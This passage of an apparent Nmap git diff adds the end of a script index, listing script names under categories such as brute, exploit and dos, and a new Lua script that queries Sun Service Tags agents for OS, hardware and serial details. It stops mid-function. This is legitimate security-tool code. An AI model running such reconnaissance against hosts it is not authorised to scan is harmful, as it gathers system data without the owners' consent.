+Entry { filename = "ip-geolocation-map-kml.nse", categories = { "safe", } }
+Entry { filename = "ip-geolocation-maxmind.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "ip-https-discover.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ipidseq.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ipmi-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ipmi-cipher-zero.nse", categories = { "safe", "vuln", } }
+Entry { filename = "ipmi-version.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ipv6-multicast-mld-list.nse", categories = { "broadcast", "discovery", } }
+Entry { filename = "ipv6-node-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ipv6-ra-flood.nse", categories = { "dos", "intrusive", } }
+Entry { filename = "irc-botnet-channels.nse", categories = { "discovery", "safe", "vuln", } }
+Entry { filename = "irc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "irc-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "irc-sasl-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "irc-unrealircd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
+Entry { filename = "iscsi-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "iscsi-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "isns-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "jdwp-exec.nse", categories = { "exploit", "intrusive", } }
+Entry { filename = "jdwp-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "jdwp-inject.nse", categories = { "exploit", "intrusive", } }
+Entry { filename = "jdwp-version.nse", categories = { "version", } }
+Entry { filename = "knx-gateway-discover.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "knx-gateway-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "krb5-enum-users.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "ldap-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ldap-novell-getpass.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ldap-rootdse.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ldap-search.nse", categories = { "discovery", "safe", } }
+Entry { filename = "lexmark-config.nse", categories = { "discovery", "safe", } }
+Entry { filename = "llmnr-resolve.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "lltd-discovery.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "lu-enum.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "maxdb-info.nse", categories = { "default", "safe", "version", } }
+Entry { filename = "mcafee-epo-agent.nse", categories = { "safe", "version", } }
+Entry { filename = "membase-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "membase-http-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "memcached-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "metasploit-info.nse", categories = { "intrusive", "safe", } }
+Entry { filename = "metasploit-msgrpc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mikrotik-routeros-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mmouse-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mmouse-exec.nse", categories = { "intrusive", } }
+Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "mongodb-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mongodb-databases.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "mongodb-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "mqtt-subscribe.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "mrinfo.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "ms-sql-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ms-sql-config.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ms-sql-dac.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ms-sql-dump-hashes.nse", categories = { "auth", "discovery", "safe", } }
+Entry { filename = "ms-sql-empty-password.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "ms-sql-hasdbaccess.nse", categories = { "auth", "discovery", "safe", } }
+Entry { filename = "ms-sql-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ms-sql-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ms-sql-query.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ms-sql-tables.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ms-sql-xp-cmdshell.nse", categories = { "intrusive", } }
+Entry { filename = "msrpc-enum.nse", categories = { "discovery", "safe", } }
+Entry { filename = "mtrace.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "murmur-version.nse", categories = { "version", } }
+Entry { filename = "mysql-audit.nse", categories = { "discovery", "safe", } }
+Entry { filename = "mysql-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mysql-databases.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "mysql-dump-hashes.nse", categories = { "auth", "discovery", "safe", } }
+Entry { filename = "mysql-empty-password.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "mysql-enum.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mysql-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "mysql-query.nse", categories = { "auth", "discovery", "safe", } }
+Entry { filename = "mysql-users.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "mysql-variables.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "mysql-vuln-cve2012-2122.nse", categories = { "discovery", "intrusive", "vuln", } }
+Entry { filename = "nat-pmp-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "nat-pmp-mapport.nse", categories = { "discovery", "safe", } }
+Entry { filename = "nbd-info.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "nbns-interfaces.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "nbstat.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ncp-enum-users.nse", categories = { "auth", "safe", } }
+Entry { filename = "ncp-serverinfo.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ndmp-fs-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ndmp-version.nse", categories = { "version", } }
+Entry { filename = "nessus-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "nessus-xmlrpc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "netbus-auth-bypass.nse", categories = { "auth", "safe", "vuln", } }
+Entry { filename = "netbus-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "netbus-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "netbus-version.nse", categories = { "version", } }
+Entry { filename = "nexpose-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "nfs-ls.nse", categories = { "discovery", "safe", } }
+Entry { filename = "nfs-showmount.nse", categories = { "discovery", "safe", } }
+Entry { filename = "nfs-statfs.nse", categories = { "discovery", "safe", } }
+Entry { filename = "nje-node-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "nje-pass-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "nntp-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "nping-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "nrpe-enum.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "ntp-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ntp-monlist.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "omp2-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "omp2-enum-targets.nse", categories = { "discovery", "safe", } }
+Entry { filename = "omron-info.nse", categories = { "discovery", "version", } }
+Entry { filename = "openflow-info.nse", categories = { "default", "safe", } }
+Entry { filename = "openlookup-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "openvas-otp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "openwebnet-discovery.nse", categories = { "discovery", "safe", } }
+Entry { filename = "oracle-brute-stealth.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "oracle-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "oracle-enum-users.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "oracle-sid-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "oracle-tns-version.nse", categories = { "safe", "version", } }
+Entry { filename = "ovs-agent-version.nse", categories = { "version", } }
+Entry { filename = "p2p-conficker.nse", categories = { "default", "safe", } }
+Entry { filename = "path-mtu.nse", categories = { "discovery", "safe", } }
+Entry { filename = "pcanywhere-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "pcworx-info.nse", categories = { "discovery", } }
+Entry { filename = "pgsql-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "pjl-ready-message.nse", categories = { "intrusive", } }
+Entry { filename = "pop3-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "pop3-capabilities.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "pop3-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "port-states.nse", categories = { "safe", } }
+Entry { filename = "pptp-version.nse", categories = { "version", } }
+Entry { filename = "puppet-naivesigning.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "qconn-exec.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "qscan.nse", categories = { "discovery", "safe", } }
+Entry { filename = "quake1-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "quake3-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "quake3-master-getservers.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "rdp-enum-encryption.nse", categories = { "discovery", "safe", } }
+Entry { filename = "rdp-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "rdp-vuln-ms12-020.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "realvnc-auth-bypass.nse", categories = { "auth", "safe", "vuln", } }
+Entry { filename = "redis-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "redis-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "resolveall.nse", categories = { "discovery", "safe", } }
+Entry { filename = "reverse-index.nse", categories = { "safe", } }
+Entry { filename = "rexec-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "rfc868-time.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "riak-http-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "rlogin-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "rmi-dumpregistry.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "rmi-vuln-classloader.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "rpc-grind.nse", categories = { "version", } }
+Entry { filename = "rpcap-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "rpcap-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "rpcinfo.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "rsa-vuln-roca.nse", categories = { "safe", "vuln", } }
+Entry { filename = "rsync-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "rsync-list-modules.nse", categories = { "discovery", "safe", } }
+Entry { filename = "rtsp-methods.nse", categories = { "default", "safe", } }
+Entry { filename = "rtsp-url-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "rusers.nse", categories = { "discovery", "safe", } }
+Entry { filename = "s7-info.nse", categories = { "discovery", "version", } }
+Entry { filename = "samba-vuln-cve-2012-1182.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "servicetags.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "shodan-api.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "sip-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "sip-call-spoof.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "sip-enum-users.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "sip-methods.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "skypev2-version.nse", categories = { "version", } }
+Entry { filename = "smb-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "smb-double-pulsar-backdoor.nse", categories = { "malware", "safe", "vuln", } }
+Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-enum-groups.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-enum-services.nse", categories = { "discovery", "intrusive", "safe", } }
+Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-enum-shares.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-enum-users.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "smb-flood.nse", categories = { "dos", "intrusive", } }
+Entry { filename = "smb-ls.nse", categories = { "discovery", "safe", } }
+Entry { filename = "smb-mbenum.nse", categories = { "discovery", "safe", } }
+Entry { filename = "smb-os-discovery.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "smb-print-text.nse", categories = { "intrusive", } }
+Entry { filename = "smb-protocols.nse", categories = { "discovery", "safe", } }
+Entry { filename = "smb-psexec.nse", categories = { "intrusive", } }
+Entry { filename = "smb-security-mode.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-vuln-conficker.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-cve-2017-7494.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-cve2009-3103.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-ms06-025.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-ms07-029.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-ms08-067.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-ms10-054.nse", categories = { "dos", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-ms10-061.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-ms17-010.nse", categories = { "safe", "vuln", } }
+Entry { filename = "smb-vuln-regsvc-dos.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
+Entry { filename = "smb-vuln-webexec.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "smb-webexec-exploit.nse", categories = { "exploit", "intrusive", } }
+Entry { filename = "smb2-capabilities.nse", categories = { "discovery", "safe", } }
+Entry { filename = "smb2-security-mode.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "smb2-time.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "smb2-vuln-uptime.nse", categories = { "safe", "vuln", } }
+Entry { filename = "smtp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "smtp-commands.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "smtp-enum-users.nse", categories = { "auth", "external", "intrusive", } }
+Entry { filename = "smtp-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "smtp-open-relay.nse", categories = { "discovery", "external", "intrusive", } }
+Entry { filename = "smtp-strangeport.nse", categories = { "malware", "safe", } }
+Entry { filename = "smtp-vuln-cve2010-4344.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "smtp-vuln-cve2011-1720.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "smtp-vuln-cve2011-1764.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "sniffer-detect.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "snmp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "snmp-hh3c-logins.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-info.nse", categories = { "default", "safe", "version", } }
+Entry { filename = "snmp-interfaces.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-ios-config.nse", categories = { "intrusive", } }
+Entry { filename = "snmp-netstat.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-processes.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-sysdescr.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-win32-services.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-win32-shares.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-win32-software.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "snmp-win32-users.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "socks-auth-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "socks-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "socks-open-proxy.nse", categories = { "default", "discovery", "external", "safe", } }
+Entry { filename = "ssh-auth-methods.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "ssh-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ssh-hostkey.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ssh-publickey-acceptance.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "ssh-run.nse", categories = { "intrusive", } }
+Entry { filename = "ssh2-enum-algos.nse", categories = { "discovery", "safe", } }
+Entry { filename = "sshv1.nse", categories = { "default", "safe", } }
+Entry { filename = "ssl-ccs-injection.nse", categories = { "safe", "vuln", } }
+Entry { filename = "ssl-cert-intaddr.nse", categories = { "discovery", "safe", "vuln", } }
+Entry { filename = "ssl-cert.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ssl-date.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ssl-dh-params.nse", categories = { "safe", "vuln", } }
+Entry { filename = "ssl-enum-ciphers.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "ssl-heartbleed.nse", categories = { "safe", "vuln", } }
+Entry { filename = "ssl-known-key.nse", categories = { "default", "discovery", "safe", "vuln", } }
+Entry { filename = "ssl-poodle.nse", categories = { "safe", "vuln", } }
+Entry { filename = "sslv2-drown.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "sslv2.nse", categories = { "default", "safe", } }
+Entry { filename = "sstp-discover.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "stun-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "stun-version.nse", categories = { "version", } }
+Entry { filename = "stuxnet-detect.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "supermicro-ipmi-conf.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "svn-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "targets-asn.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "targets-ipv6-map4to6.nse", categories = { "discovery", } }
+Entry { filename = "targets-ipv6-multicast-echo.nse", categories = { "broadcast", "discovery", } }
+Entry { filename = "targets-ipv6-multicast-invalid-dst.nse", categories = { "broadcast", "discovery", } }
+Entry { filename = "targets-ipv6-multicast-mld.nse", categories = { "broadcast", "discovery", } }
+Entry { filename = "targets-ipv6-multicast-slaac.nse", categories = { "broadcast", "discovery", } }
+Entry { filename = "targets-ipv6-wordlist.nse", categories = { "discovery", } }
+Entry { filename = "targets-sniffer.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "targets-traceroute.nse", categories = { "discovery", "safe", } }
+Entry { filename = "targets-xml.nse", categories = { "safe", } }
+Entry { filename = "teamspeak2-version.nse", categories = { "version", } }
+Entry { filename = "telnet-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "telnet-encryption.nse", categories = { "discovery", "safe", } }
+Entry { filename = "telnet-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "tftp-enum.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "tftp-version.nse", categories = { "default", "safe", "version", } }
+Entry { filename = "tls-alpn.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "tls-nextprotoneg.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "tls-ticketbleed.nse", categories = { "safe", "vuln", } }
+Entry { filename = "tn3270-screen.nse", categories = { "discovery", "safe", } }
+Entry { filename = "tor-consensus-checker.nse", categories = { "external", "safe", } }
+Entry { filename = "traceroute-geolocation.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "tso-brute.nse", categories = { "intrusive", } }
+Entry { filename = "tso-enum.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ubiquiti-discovery.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "unittest.nse", categories = { "safe", } }
+Entry { filename = "unusual-port.nse", categories = { "safe", } }
+Entry { filename = "upnp-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "uptime-agent-info.nse", categories = { "default", "safe", } }
+Entry { filename = "url-snarf.nse", categories = { "safe", } }
+Entry { filename = "ventrilo-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "versant-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "vmauthd-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "vmware-version.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "vnc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "vnc-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "vnc-title.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "voldemort-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "vtam-enum.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "vulners.nse", categories = { "external", "safe", "vuln", } }
+Entry { filename = "vuze-dht-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "wdb-version.nse", categories = { "default", "discovery", "safe", "version", "vuln", } }
+Entry { filename = "weblogic-t3-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "whois-domain.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "whois-ip.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "wsdd-discover.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "x11-access.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "xdmcp-discover.nse", categories = { "discovery", "safe", } }
+Entry { filename = "xmlrpc-methods.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "xmpp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "xmpp-info.nse", categories = { "default", "discovery", "safe", "version", } }
diff --git a/scripts/servicetags.nse b/scripts/servicetags.nse
new file mode 100644
index 0000000..9f3577e
--- /dev/null
+++ b/scripts/servicetags.nse
@@ -0,0 +1,297 @@
+local nmap = require "nmap"
+local match = require "match"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Attempts to extract system information (OS, hardware, etc.) from the Sun Service Tags service agent (UDP port 6481).
+
+Based on protocol specs from
+http://arc.opensolaris.org/caselog/PSARC/2006/638/stdiscover_protocolv2.pdf
+http://arc.opensolaris.org/caselog/PSARC/2006/638/stlisten_protocolv2.pdf
+http://arc.opensolaris.org/caselog/PSARC/2006/638/ServiceTag_API_CLI_v07.pdf
+]]
+
+---
+-- @usage
+-- nmap -sU -p 6481 --script=servicetags <target>
+-- @output
+-- | servicetags:
+-- | URN: urn:st:3bf76681-5e68-415b-f980-abcdef123456
+-- | System: SunOS
+-- | Release: 5.10
+-- | Hostname: myhost
+-- | Architecture: sparc
+-- | Platform: SUNW,SPARC-Enterprise-T5120::Generic_142900-13
+-- | Manufacturer: Sun Microsystems, Inc.
+-- | CPU Manufacturer: Sun Microsystems, Inc.
+-- | Serial Number: ABC123456
+-- | HostID: 12345678
+-- | RAM: 16256
+-- | CPUs: 1
+-- | Cores: 4
+-- | Virtual CPUs: 32
+-- | CPU Name: UltraSPARC-T2
+-- | CPU Clock Rate: 1165
+-- | Service Tags
+-- | Solaris 10 Operating System
+-- | Product Name: Solaris 10 Operating System
+-- | Instance URN: urn:st:90592a79-974d-ebcc-c17a-b87b8eee5f1f
+-- | Product Version: 10
+-- | Product URN: urn:uuid:5005588c-36f3-11d6-9cec-fc96f718e113
+-- | Product Parent URN: urn:uuid:596ffcfa-63d5-11d7-9886-ac816a682f92
+-- | Product Parent: Solaris Operating System
+-- | Product Defined Instance ID:
+-- | Timestamp: 2010-08-10 07:35:40 GMT
+-- | Container: global
+-- | Source: SUNWstosreg
+-- | SUNW,SPARC-Enterprise-T5120 SPARC System
+-- | Product Name: SUNW,SPARC-Enterprise-T5120 SPARC System
+-- | Instance URN: urn:st:51c61acd-9f37-65af-a667-c9925a5b0ee9
+-- | Product Version:
+-- | Product URN: urn:st:hwreg:SUNW,SPARC-Enterprise-T5120:Sun Microsystems:sparc
+-- | Product Parent URN: urn:st:hwreg:System:Sun Microsystems
+-- | Product Parent: System
+-- | Product Defined Instance ID:
+-- | Timestamp: 2010-08-10 07:35:41 GMT
+-- | Container: global
+-- | Source: SUNWsthwreg
+-- | Explorer
+-- | Product Name: Explorer
+-- | Instance URN: urn:st:2dc5ab61-9bb5-409b-e910-fa39840d0d85
+-- | Product Version: 6.4
+-- | Product URN: urn:uuid:9cb70a38-7d15-11de-9d26-080020a9ed93
+-- | Product Parent URN:
+-- | Product Parent:
+-- | Product Defined Instance ID:
+-- | Timestamp: 2010-08-10 07:35:42 GMT
+-- | Container: global
+-- |_ Source: Explorer
+
+
+-- version 1.0
+
+author = "Matthew Flanagan"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+
+-- Mapping from XML element names to human-readable table labels.
+local XML_TO_TEXT = {
+ -- Information about the agent.
+ system = "System",
+ release = "Release",
+ host = "Hostname",
+ architecture = "Architecture",
+ platform = "Platform",
+ manufacturer = "Manufacturer",
+ cpu_manufacturer = "CPU Manufacturer",
+ serial_number = "Serial Number",
+ hostid = "HostID",
+ physmem = "RAM",
+ sockets = "CPUs",
+ cores = "Cores",
+ virtcpus = "Virtual CPUs",
+ name = "CPU Name:",
+ clockrate = "CPU Clock Rate",
+
+ -- Information about an individual svctag.
+ product_name = "Product Name",
+ instance_urn = "Instance URN",
+ product_version = "Product Version",
+ product_urn = "Product URN",
+ product_parent_urn = "Product Parent URN",
+ product_parent = "Product Parent",
+ product_defined_inst_id = "Product Defined Instance ID",
+ product_vendor = "Product Vendor",
+ timestamp = "Timestamp",
+ container = "Container",
+ source = "Source",
+ platform_arch = "Platform Arch",
+ installer_uid = "Installer UID",
+ version = "Version",
+}
+
+---
+-- Runs on UDP port 6481
+portrule = shortport.portnumber(6481, "udp", {"open", "open|filtered"})
+
+local get_agent, get_svctag_list, get_svctag
+
+---
+-- Sends Service Tags discovery packet to host,
+-- and extracts service information from results
+action = function(host, port)
+
+ -- create the socket used for our connection
+ local socket = nmap.new_socket()
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+
+ -- do some exception handling / cleanup
+ local catch = function()
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ -- connect to the potential service tags discoverer
+ try(socket:connect(host, port))
+
+ local payload
+
+ payload = "[PROBE] ".. tostring(os.time()) .. "\r\n"
+
+ try(socket:send(payload))
+
+ local status
+ local response
+
+ -- read in any response we might get
+ response = try(socket:receive())
+ socket:close()
+
+ -- since we got something back, the port is definitely open
+ nmap.set_port_state(host, port, "open")
+
+ -- buffer to hold script output
+ local output = {}
+
+ -- We should get a response back that has contains one line for the
+ -- agent URN and TCP port
+ local urn, xport, split
+ split = stringaux.strsplit(" ", response)
+ urn = split[1]
+ xport = split[2]
+ table.insert(output, "URN: " .. urn)
+
+ if xport ~= nil then
+ get_agent(host, xport, output)
+
+ -- Check if any other service tags are registered and enumerate them
+ local svctags_list
+ status, svctags_list = get_svctag_list(host, xport, output)
+ if status then
+ local svctags = {}
+ local tag
+ for _, svctag in ipairs(svctags_list) do
+ svctags['name'] = "Service Tags"
+ status, tag = get_svctag(host, port, svctag)
+ if status then
+ svctags[#svctags + 1] = tag
+ end
+ end
+ table.insert(output, svctags)
+ end
+ end
+
+ port.name = "servicetags"
+ nmap.set_port_version(host, port)
+
+ return stdnse.format_output(true, output)
+end
+
+function get_agent(host, port, output)
+ local socket = nmap.new_socket()
+ local status, err, response
+ socket:set_timeout(5000)
+
+ status, err = socket:connect(host.ip, port, "tcp")
+ if not status then
+ return nil, err
+ end
+ status, err = socket:send("GET /stv1/agent/ HTTP/1.0\r\n")
+ if not status then
+ socket:close()
+ return nil, err
+ end
+ status, response = socket:receive_buf(match.pattern_limit("</st1:response>", 2048), true)
+ if not status then
+ socket:close()
+ return nil, response
+ end
+
+ socket:close()
+
+ for elem, contents in string.gmatch(response, "<([^>]+)>([^<]-)</%1>") do
+ if XML_TO_TEXT[elem] then
+ table.insert(output,
+ string.format("%s: %s", XML_TO_TEXT[elem], contents))
+ end
+ end
+
+ return true, output
+end
+
+function get_svctag_list(host, port)
+ local socket = nmap.new_socket()
+ local status, err, response
+ socket:set_timeout(5000)
+
+ status, err = socket:connect(host.ip, port, "tcp")
+ if not status then
+ return nil, err
+ end
+ status, err = socket:send("GET /stv1/svctag/ HTTP/1.0\r\n")
+ if not status then
+ socket:close()
+ return nil, err
+ end
+ status, response = socket:receive_buf(match.pattern_limit("</service_tags>", 2048), true)
+ if not status then
+ socket:close()
+ return nil, response
+ end
+
+ socket:close()
+
+ local svctags = {}
+ for svctag in string.gmatch(response, "<link type=\"service_tag\" href=\"(.-)\" />") do
+ svctags[#svctags + 1] = svctag
